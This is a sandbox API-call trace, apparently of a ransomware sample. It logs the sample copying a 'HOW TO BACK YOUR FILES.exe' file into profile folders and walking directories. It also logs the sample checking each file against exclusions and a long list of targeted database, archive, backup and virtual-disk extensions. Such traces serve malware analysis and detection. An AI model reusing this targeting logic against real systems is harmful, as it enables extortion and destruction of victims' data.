	[0053.790] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates"
	[0053.790] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.790] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.791] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.791] GetLastError () returned 0x0
	[0053.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.791] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.791] CloseHandle (hObject=0x14c) returned 1
	[0053.791] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.791] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.791] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e484770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.791] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.791] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.791] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.791] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e484770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.791] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.791] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.791] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.791] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.791] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e484770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.792] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.792] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e484770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.792] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.792] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0053.792] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect"
	[0053.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0053.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0053.792] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned 50
	[0053.792] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect"
	[0053.792] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.792] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.792] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.792] GetLastError () returned 0x0
	[0053.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.792] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.793] CloseHandle (hObject=0x14c) returned 1
	[0053.793] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.793] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.793] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4aa8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4aa8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.793] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.793] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.793] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.793] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4aa8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4aa8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.793] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.793] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.793] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.793] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.793] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="Apollon865.txt.exe") returned 1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2=".") returned 1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="..") returned 1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="windows") returned -1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="bootmgr") returned 1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="temp") returned -1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="pagefile.sys") returned -1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="boot") returned 1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="ids.txt") returned -1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="ntuser.dat") returned -1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="perflogs") returned -1
	[0053.793] lstrcmpiW (lpString1="CREDHIST", lpString2="MSBuild") returned -1
	[0053.793] lstrlenW (lpString="CREDHIST") returned 8
	[0053.794] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*") returned 52
	[0053.794] lstrcpyW (in: lpString1=0x119e66e, lpString2="CREDHIST" | out: lpString1="CREDHIST") returned="CREDHIST"
	[0053.794] lstrlenW (lpString="CREDHIST") returned 8
	[0053.794] lstrlenW (lpString="Apollon865") returned 10
	[0053.794] lstrlenW (lpString=".dll") returned 4
	[0053.794] lstrcmpiW (lpString1="CREDHIST", lpString2=".dll") returned 1
	[0053.794] lstrlenW (lpString=".lnk") returned 4
	[0053.794] lstrcmpiW (lpString1="CREDHIST", lpString2=".lnk") returned 1
	[0053.794] lstrlenW (lpString=".ini") returned 4
	[0053.794] lstrcmpiW (lpString1="CREDHIST", lpString2=".ini") returned 1
	[0053.794] lstrlenW (lpString=".sys") returned 4
	[0053.794] lstrcmpiW (lpString1="CREDHIST", lpString2=".sys") returned 1
	[0053.794] lstrlenW (lpString="CREDHIST") returned 8
	[0053.794] lstrlenW (lpString="bak") returned 3
	[0053.794] lstrcmpiW (lpString1="IST", lpString2="bak") returned 1
	[0053.794] lstrlenW (lpString="ba_") returned 3
	[0053.794] lstrcmpiW (lpString1="IST", lpString2="ba_") returned 1
	[0053.794] lstrlenW (lpString="dbb") returned 3
	[0053.794] lstrcmpiW (lpString1="IST", lpString2="dbb") returned 1
	[0053.794] lstrlenW (lpString="vmdk") returned 4
	[0053.794] lstrcmpiW (lpString1="HIST", lpString2="vmdk") returned -1
	[0053.794] lstrlenW (lpString="rar") returned 3
	[0053.794] lstrcmpiW (lpString1="IST", lpString2="rar") returned -1
	[0053.794] lstrlenW (lpString="zip") returned 3
	[0053.794] lstrcmpiW (lpString1="IST", lpString2="zip") returned -1
	[0053.794] lstrlenW (lpString="tgz") returned 3
	[0053.794] lstrcmpiW (lpString1="IST", lpString2="tgz") returned -1
	[0053.794] lstrlenW (lpString="vbox") returned 4
	[0053.794] lstrcmpiW (lpString1="HIST", lpString2="vbox") returned -1
	[0053.794] lstrlenW (lpString="vdi") returned 3
	[0053.794] lstrcmpiW (lpString1="IST", lpString2="vdi") returned -1
	[0053.794] lstrlenW (lpString="vhd") returned 3
	[0053.794] lstrcmpiW (lpString1="IST", lpString2="vhd") returned -1
	[0053.794] lstrlenW (lpString="vhdx") returned 4
	[0053.794] lstrcmpiW (lpString1="HIST", lpString2="vhdx") returned -1
	[0053.795] lstrlenW (lpString="avhd") returned 4
	[0053.795] lstrcmpiW (lpString1="HIST", lpString2="avhd") returned 1
	[0053.795] lstrlenW (lpString="db") returned 2
	[0053.795] lstrcmpiW (lpString1="ST", lpString2="db") returned 1
	[0053.795] lstrlenW (lpString="db2") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="db2") returned 1
	[0053.795] lstrlenW (lpString="db3") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="db3") returned 1
	[0053.795] lstrlenW (lpString="dbf") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="dbf") returned 1
	[0053.795] lstrlenW (lpString="mdf") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="mdf") returned -1
	[0053.795] lstrlenW (lpString="mdb") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="mdb") returned -1
	[0053.795] lstrlenW (lpString="sql") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="sql") returned -1
	[0053.795] lstrlenW (lpString="sqlite") returned 6
	[0053.795] lstrcmpiW (lpString1="EDHIST", lpString2="sqlite") returned -1
	[0053.795] lstrlenW (lpString="sqlite3") returned 7
	[0053.795] lstrcmpiW (lpString1="REDHIST", lpString2="sqlite3") returned -1
	[0053.795] lstrlenW (lpString="sqlitedb") returned 8
	[0053.795] lstrlenW (lpString="xml") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="xml") returned -1
	[0053.795] lstrlenW (lpString="$er") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="$er") returned 1
	[0053.795] lstrlenW (lpString="4dd") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="4dd") returned 1
	[0053.795] lstrlenW (lpString="4dl") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="4dl") returned 1
	[0053.795] lstrlenW (lpString="^^^") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="^^^") returned 1
	[0053.795] lstrlenW (lpString="abs") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="abs") returned 1
	[0053.795] lstrlenW (lpString="abx") returned 3
	[0053.795] lstrcmpiW (lpString1="IST", lpString2="abx") returned 1
	[0053.795] lstrlenW (lpString="accdb") returned 5
	[0053.796] lstrcmpiW (lpString1="DHIST", lpString2="accdb") returned 1
	[0053.796] lstrlenW (lpString="accdc") returned 5
	[0053.796] lstrcmpiW (lpString1="DHIST", lpString2="accdc") returned 1
	[0053.796] lstrlenW (lpString="accde") returned 5
	[0053.796] lstrcmpiW (lpString1="DHIST", lpString2="accde") returned 1
	[0053.796] lstrlenW (lpString="accdr") returned 5
	[0053.796] lstrcmpiW (lpString1="DHIST", lpString2="accdr") returned 1
	[0053.796] lstrlenW (lpString="accdt") returned 5
	[0053.796] lstrcmpiW (lpString1="DHIST", lpString2="accdt") returned 1
	[0053.796] lstrlenW (lpString="accdw") returned 5
	[0053.796] lstrcmpiW (lpString1="DHIST", lpString2="accdw") returned 1
	[0053.796] lstrlenW (lpString="accft") returned 5
	[0053.796] lstrcmpiW (lpString1="DHIST", lpString2="accft") returned 1
	[0053.796] lstrlenW (lpString="adb") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="adb") returned 1
	[0053.796] lstrlenW (lpString="adb") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="adb") returned 1
	[0053.796] lstrlenW (lpString="ade") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="ade") returned 1
	[0053.796] lstrlenW (lpString="adf") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="adf") returned 1
	[0053.796] lstrlenW (lpString="adn") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="adn") returned 1
	[0053.796] lstrlenW (lpString="adp") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="adp") returned 1
	[0053.796] lstrlenW (lpString="alf") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="alf") returned 1
	[0053.796] lstrlenW (lpString="ask") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="ask") returned 1
	[0053.796] lstrlenW (lpString="btr") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="btr") returned 1
	[0053.796] lstrlenW (lpString="cat") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="cat") returned 1
	[0053.796] lstrlenW (lpString="cdb") returned 3
	[0053.796] lstrcmpiW (lpString1="IST", lpString2="cdb") returned 1
	[0053.797] lstrlenW (lpString="ckp") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="ckp") returned 1
	[0053.797] lstrlenW (lpString="cma") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="cma") returned 1
	[0053.797] lstrlenW (lpString="cpd") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="cpd") returned 1
	[0053.797] lstrlenW (lpString="dacpac") returned 6
	[0053.797] lstrcmpiW (lpString1="EDHIST", lpString2="dacpac") returned 1
	[0053.797] lstrlenW (lpString="dad") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dad") returned 1
	[0053.797] lstrlenW (lpString="dadiagrams") returned 10
	[0053.797] lstrlenW (lpString="daschema") returned 8
	[0053.797] lstrlenW (lpString="db-journal") returned 10
	[0053.797] lstrlenW (lpString="db-shm") returned 6
	[0053.797] lstrcmpiW (lpString1="EDHIST", lpString2="db-shm") returned 1
	[0053.797] lstrlenW (lpString="db-wal") returned 6
	[0053.797] lstrcmpiW (lpString1="EDHIST", lpString2="db-wal") returned 1
	[0053.797] lstrlenW (lpString="dbc") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dbc") returned 1
	[0053.797] lstrlenW (lpString="dbs") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dbs") returned 1
	[0053.797] lstrlenW (lpString="dbt") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dbt") returned 1
	[0053.797] lstrlenW (lpString="dbv") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dbv") returned 1
	[0053.797] lstrlenW (lpString="dbx") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dbx") returned 1
	[0053.797] lstrlenW (lpString="dcb") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dcb") returned 1
	[0053.797] lstrlenW (lpString="dct") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dct") returned 1
	[0053.797] lstrlenW (lpString="dcx") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="dcx") returned 1
	[0053.797] lstrlenW (lpString="ddl") returned 3
	[0053.797] lstrcmpiW (lpString1="IST", lpString2="ddl") returned 1
	[0053.798] lstrlenW (lpString="dlis") returned 4
	[0053.798] lstrcmpiW (lpString1="HIST", lpString2="dlis") returned 1
	[0053.798] lstrlenW (lpString="dp1") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="dp1") returned 1
	[0053.798] lstrlenW (lpString="dqy") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="dqy") returned 1
	[0053.798] lstrlenW (lpString="dsk") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="dsk") returned 1
	[0053.798] lstrlenW (lpString="dsn") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="dsn") returned 1
	[0053.798] lstrlenW (lpString="dtsx") returned 4
	[0053.798] lstrcmpiW (lpString1="HIST", lpString2="dtsx") returned 1
	[0053.798] lstrlenW (lpString="dxl") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="dxl") returned 1
	[0053.798] lstrlenW (lpString="eco") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="eco") returned 1
	[0053.798] lstrlenW (lpString="ecx") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="ecx") returned 1
	[0053.798] lstrlenW (lpString="edb") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="edb") returned 1
	[0053.798] lstrlenW (lpString="epim") returned 4
	[0053.798] lstrcmpiW (lpString1="HIST", lpString2="epim") returned 1
	[0053.798] lstrlenW (lpString="fcd") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="fcd") returned 1
	[0053.798] lstrlenW (lpString="fdb") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="fdb") returned 1
	[0053.798] lstrlenW (lpString="fic") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="fic") returned 1
	[0053.798] lstrlenW (lpString="flexolibrary") returned 12
	[0053.798] lstrlenW (lpString="fm5") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="fm5") returned 1
	[0053.798] lstrlenW (lpString="fmp") returned 3
	[0053.798] lstrcmpiW (lpString1="IST", lpString2="fmp") returned 1
	[0053.798] lstrlenW (lpString="fmp12") returned 5
	[0053.798] lstrcmpiW (lpString1="DHIST", lpString2="fmp12") returned -1
	[0053.798] lstrlenW (lpString="fmpsl") returned 5
	[0053.799] lstrcmpiW (lpString1="DHIST", lpString2="fmpsl") returned -1
	[0053.799] lstrlenW (lpString="fol") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="fol") returned 1
	[0053.799] lstrlenW (lpString="fp3") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="fp3") returned 1
	[0053.799] lstrlenW (lpString="fp4") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="fp4") returned 1
	[0053.799] lstrlenW (lpString="fp5") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="fp5") returned 1
	[0053.799] lstrlenW (lpString="fp7") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="fp7") returned 1
	[0053.799] lstrlenW (lpString="fpt") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="fpt") returned 1
	[0053.799] lstrlenW (lpString="frm") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="frm") returned 1
	[0053.799] lstrlenW (lpString="gdb") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="gdb") returned 1
	[0053.799] lstrlenW (lpString="gdb") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="gdb") returned 1
	[0053.799] lstrlenW (lpString="grdb") returned 4
	[0053.799] lstrcmpiW (lpString1="HIST", lpString2="grdb") returned 1
	[0053.799] lstrlenW (lpString="gwi") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="gwi") returned 1
	[0053.799] lstrlenW (lpString="hdb") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="hdb") returned 1
	[0053.799] lstrlenW (lpString="his") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="his") returned 1
	[0053.799] lstrlenW (lpString="ib") returned 2
	[0053.799] lstrcmpiW (lpString1="ST", lpString2="ib") returned 1
	[0053.799] lstrlenW (lpString="idb") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="idb") returned 1
	[0053.799] lstrlenW (lpString="ihx") returned 3
	[0053.799] lstrcmpiW (lpString1="IST", lpString2="ihx") returned 1
	[0053.799] lstrlenW (lpString="itdb") returned 4
	[0053.799] lstrcmpiW (lpString1="HIST", lpString2="itdb") returned -1
	[0053.800] lstrlenW (lpString="itw") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="itw") returned -1
	[0053.800] lstrlenW (lpString="jet") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="jet") returned -1
	[0053.800] lstrlenW (lpString="jtx") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="jtx") returned -1
	[0053.800] lstrlenW (lpString="kdb") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="kdb") returned -1
	[0053.800] lstrlenW (lpString="kexi") returned 4
	[0053.800] lstrcmpiW (lpString1="HIST", lpString2="kexi") returned -1
	[0053.800] lstrlenW (lpString="kexic") returned 5
	[0053.800] lstrcmpiW (lpString1="DHIST", lpString2="kexic") returned -1
	[0053.800] lstrlenW (lpString="kexis") returned 5
	[0053.800] lstrcmpiW (lpString1="DHIST", lpString2="kexis") returned -1
	[0053.800] lstrlenW (lpString="lgc") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="lgc") returned -1
	[0053.800] lstrlenW (lpString="lwx") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="lwx") returned -1
	[0053.800] lstrlenW (lpString="maf") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="maf") returned -1
	[0053.800] lstrlenW (lpString="maq") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="maq") returned -1
	[0053.800] lstrlenW (lpString="mar") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="mar") returned -1
	[0053.800] lstrlenW (lpString="marshal") returned 7
	[0053.800] lstrcmpiW (lpString1="REDHIST", lpString2="marshal") returned 1
	[0053.800] lstrlenW (lpString="mas") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="mas") returned -1
	[0053.800] lstrlenW (lpString="mav") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="mav") returned -1
	[0053.800] lstrlenW (lpString="maw") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="maw") returned -1
	[0053.800] lstrlenW (lpString="mdbhtml") returned 7
	[0053.800] lstrcmpiW (lpString1="REDHIST", lpString2="mdbhtml") returned 1
	[0053.800] lstrlenW (lpString="mdn") returned 3
	[0053.800] lstrcmpiW (lpString1="IST", lpString2="mdn") returned -1
	[0053.801] lstrlenW (lpString="mdt") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="mdt") returned -1
	[0053.801] lstrlenW (lpString="mfd") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="mfd") returned -1
	[0053.801] lstrlenW (lpString="mpd") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="mpd") returned -1
	[0053.801] lstrlenW (lpString="mrg") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="mrg") returned -1
	[0053.801] lstrlenW (lpString="mud") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="mud") returned -1
	[0053.801] lstrlenW (lpString="mwb") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="mwb") returned -1
	[0053.801] lstrlenW (lpString="myd") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="myd") returned -1
	[0053.801] lstrlenW (lpString="ndf") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="ndf") returned -1
	[0053.801] lstrlenW (lpString="nnt") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="nnt") returned -1
	[0053.801] lstrlenW (lpString="nrmlib") returned 6
	[0053.801] lstrcmpiW (lpString1="EDHIST", lpString2="nrmlib") returned -1
	[0053.801] lstrlenW (lpString="ns2") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="ns2") returned -1
	[0053.801] lstrlenW (lpString="ns3") returned 3
